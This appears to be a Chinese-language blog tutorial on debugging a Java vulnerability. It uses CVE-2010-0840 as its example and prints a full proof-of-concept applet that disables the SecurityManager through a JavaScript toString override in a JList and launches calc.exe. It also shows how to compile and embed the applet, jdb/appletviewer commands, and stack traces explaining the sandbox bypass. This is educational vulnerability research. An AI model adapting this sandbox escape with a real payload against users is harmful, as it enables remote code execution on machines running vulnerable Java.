# Java 漏洞调试科普

Cve2010-0840

## 介绍

以cve2010-0840的Java Runtime Environment Trusted Methods Chaining Remote Code Execution Vulnerability漏洞为例，介绍下如何调试java漏洞。

这个漏洞影响的java版本

Jre 6u18

Jdk 6u18

<http://www.oracle.com/technetwork/java/javasebusiness/downloads/java-archive-downloads-javase6-419409.html>

上面的url里面可以下到对于的java程序版本，不过要注册下才行。

## Poc

**import** java.applet.Applet;

**import** javax.script.Bindings;

**import** javax.script.ScriptEngine;

**import** javax.script.ScriptEngineManager;

**import** javax.script.ScriptException;

**import** javax.swing.JList;

**public** **class** cve2010\_0840\_meta **extends** Applet

{

 **public** **void** init()

 {

 **try**

 {

 ScriptEngine localScriptEngine = **new** ScriptEngineManager().getEngineByName("js");

 Bindings localBindings = localScriptEngine.createBindings();

 localBindings.put("applet", **this**);

 Object localObject = localScriptEngine.eval("this.toString = function() {\tjava.lang.System.setSecurityManager(null);\tapplet.callBack();\treturn String.fromCharCode(97 + Math.round(Math.random() \* 25));};e = new Error();e.message = this;e", localBindings);

 JList localJList = **new** JList(**new** Object[] { localObject });

 add(localJList);

 }

 **catch** (ScriptException localScriptException) {

 localScriptException.printStackTrace();

 }

 }

 **public** **void** callBack() {

 **try** {

 Runtime.*getRuntime*().exec("calc.exe");

 }

 **catch** (Exception localException)

 {

 }

 }

}

## Debug 准备

将上述poc保存成cve2010\_0840\_meta.java

使用 javac.exe 进行编译，通过加入-g选项，可以在调试的过程中加入各种调试信息



上述命令会生成一个.class文件

然后通过在html里面写入

<APPLET CODE="cve2010\_0840\_meta.class" WIDTH=200 HEIGHT=100> </APPLET>

既可以通过这个html调用这个java。

调试

调试applet可以通过applentviewer进行调试，jdk自带的bin目录下面



这个applerviewer是模拟浏览器环境，不同于直接调试java程序，在浏览器环境中的安全级别是设置过的，特权操作不允许执行，可以模拟真实的漏洞触发环境。

具体的调试命令，可以看appletviewer的help命令

常见的debug命令

stop in <类 ID>.<方法>[(参数类型,...)]

 -- 在方法中设置断点

stop at <类 ID>:<行> -- 在行中设置断点

where [<线程 ID> | all] -- 转储线程的堆栈

wherei [<线程 ID> | all] -- 转储线程的堆栈以及 pc 信息

run [类 [参数]] -- 开始执行应用程序的主类

step -- 执行当前行

step up -- 执行到当前方法返回其调用方

stepi -- 执行当前指令

next -- 跳过一行（跨过调用）

cont -- 从断点处继续执行

clear <类 ID>.<方法>[(参数类型,...)]

 -- 清除方法中的断点

clear <类 ID>:<行> -- 清除行中的断点

clear -- 列出断点

!! -- 重复执行最后一个命令

<n> <命令> -- 将命令重复执行 n 次

# <命令> -- 放弃（不执行）

help（或 ?） -- 列出命令

version -- 输出版本信息

exit（或 quit） -- 退出调试器

use（或 sourcepath）[源文件路径] (设置(jdk/src.zip)源代码路径，可以通过list显示源码)

## debug

这个漏洞是java的信任代码调用链验证出的问题，jvm在运行时，会对当前的操作进行检查，通过遍历堆栈，看是否有不信任的代码存在，有的话则不允许特权的操作。但是，java有个特点，假如一个父类foo定义了一个call方法，这个foo类有个子类bar，当在堆栈中有这个bar类的实例，并且调用了这个call方法，jvm会对foo这个父类进行检查，而不是这个bar类。Java中有很多java核心信任类的对象调用方法可以通过子类或者反序列化被不信任的代码直接定义。

这个漏洞应该是通过重新定义了this.toSting 函数，并且通过applet的ui线程调度JList容器来执行这个toSting函数，当执行到这个sting函数里面的setSecurityManager特权操作时，此时整个堆栈都是可信任的代码，因此绕过了jvm的sanbox 安全检查。

C:\Program Files\Java\jdk1.6.0\_18\bin>appletviewer.exe -debug "C:\Program Files\

Java\1.html"

正在初始化 jdb...

> stop in java.lang.System.setSecurityManager

正在延迟 断点 java.lang.System.setSecurityManager。

将在装入类之后对其进行设置。

> use C:\Program Files\Java\1

> run

运行 sun.applet.Main "C:\Program Files\Java\1.html"

设置 未捕捉到 java.lang.Throwable

设置延迟的 断点 java.lang.System.setSecurityManager

设置延迟的 未捕捉到 java.lang.Throwable

>

VM 已启动：

断点命中： "thread=main", java.lang.System.setSecurityManager(), line=259 bci=0

259 s.checkPackageAccess("java.lang");

main[1] where

 [1] java.lang.System.setSecurityManager (System.java：259)

 [2] sun.applet.Main.init (Main.java：366)

 [3] sun.applet.Main.run (Main.java：130)

 [4] sun.applet.Main.main (Main.java：80)

main[1] list

255 \*/

256 public static

257 void setSecurityManager(final SecurityManager s) {

258 try {

259 => s.checkPackageAccess("java.lang");

260 } catch (Exception e) {

261 // no-op

262 }

263 setSecurityManager0(s);

264 }

main[1] cont

>

断点命中： "thread=AWT-EventQueue-1", java.lang.System.setSecurityManager(), lin

e=259 bci=0

259 s.checkPackageAccess("java.lang");

AWT-EventQueue-1[1] where

 [1] java.lang.System.setSecurityManager (System.java：259)

 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (本机方法)

 [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java

：39)

 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorI

mpl.java：25)

 [5] java.lang.reflect.Method.invoke (Method.java：597)

 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java：37)

 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (本机方法)

 [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java

：39)

 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorI

mpl.java：25)

 [10] java.lang.reflect.Method.invoke (Method.java：597)

 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java：244)

 [12] sun.org.mozilla.javascript.internal.MemberBox.invoke (MemberBox.java：132

)

 [13] sun.org.mozilla.javascript.internal.NativeJavaMethod.call (NativeJavaMeth

od.java：190)

 [14] sun.org.mozilla.javascript.internal.Interpreter.interpretLoop (Interprete

r.java：3,073)

 [15] sun.org.mozilla.javascript.internal.Interpreter.interpret (Interpreter.ja

va：2,239)

 [16] sun.org.mozilla.javascript.internal.InterpretedFunction.call (Interpreted

Function.java：138)

 [17] sun.org.mozilla.javascript.internal.ContextFactory.doTopCall (ContextFact

ory.java：323)

 [18] sun.org.mozilla.javascript.internal.ScriptRuntime.doTopCall (ScriptRuntim

e.java：2,747)

 [19] sun.org.mozilla.javascript.internal.InterpretedFunction.call (Interpreted

Function.java：136)

 [20] com.sun.script.javascript.ExternalScriptable.getDefaultValue (ExternalScr

iptable.java：343)

 [21] sun.org.mozilla.javascript.internal.ScriptRuntime.toString (ScriptRuntime

.java：664)

 [22] sun.org.mozilla.javascript.internal.NativeError.getString (NativeError.ja

va：170)

 [23] sun.org.mozilla.javascript.internal.NativeError.js\_toString (NativeError.

java：120)

 [24] sun.org.mozilla.javascript.internal.NativeError.toString (NativeError.jav

a：82)

 [25] javax.swing.DefaultListCellRenderer.getListCellRendererComponent (Default

ListCellRenderer.java：134)

 [26] javax.swing.plaf.basic.BasicListUI.updateLayoutState (BasicListUI.java：1

,344)

 [27] javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState (BasicListUI.ja

va：1,294)

 [28] javax.swing.plaf.basic.BasicListUI.getPreferredSize (BasicListUI.java：561)

 [29] javax.swing.JComponent.getPreferredSize (JComponent.java：1,634)

 [30] java.awt.FlowLayout.layoutContainer (FlowLayout.java：594)

 [31] java.awt.Container.layout (Container.java：1,421)

 [32] java.awt.Container.doLayout (Container.java：1,410)

 [33] java.awt.Container.validateTree (Container.java：1,507)

 [34] java.awt.Container.validateTree (Container.java：1,513)

 [35] java.awt.Container.validate (Container.java：1,480)

 [36] sun.applet.AppletPanel$2.run (AppletPanel.java：444)

 [37] java.awt.event.InvocationEvent.dispatch (InvocationEvent.java：199)

 [38] java.awt.EventQueue.dispatchEvent (EventQueue.java：597)

 [39] java.awt.EventDispatchThread.pumpOneEventForFilters (EventDispatchThread.

java：269)

 [40] java.awt.EventDispatchThread.pumpEventsForFilter (EventDispatchThread.jav

a：184)

 [41] java.awt.EventDispatchThread.pumpEventsForHierarchy (EventDispatchThread.

java：174)

 [42] java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java：169)

 [43] java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java：161)

 [44] java.awt.EventDispatchThread.run (EventDispatchThread.java：122)

AWT-EventQueue-1[1]

此时执行了this.toString函数的，此时通过列出堆栈，所有的item都是信任代码，都是属于java自身的核心代码，从而通过jvm的sanbox安全检查，关闭掉SecurityManager后，就可以为所欲为了：）

Ps:java的安全性才开始学习，很多不明白的地方望指教：）

额，明明javac.exe编译时加了-g选项，但是debug时，print 和locals都显示不出局部变量，球解释。

## Ref

**简单谈谈Java Exploit**

<http://bbs.pediy.com/showthread.php?t=143826>

Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)

<http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html>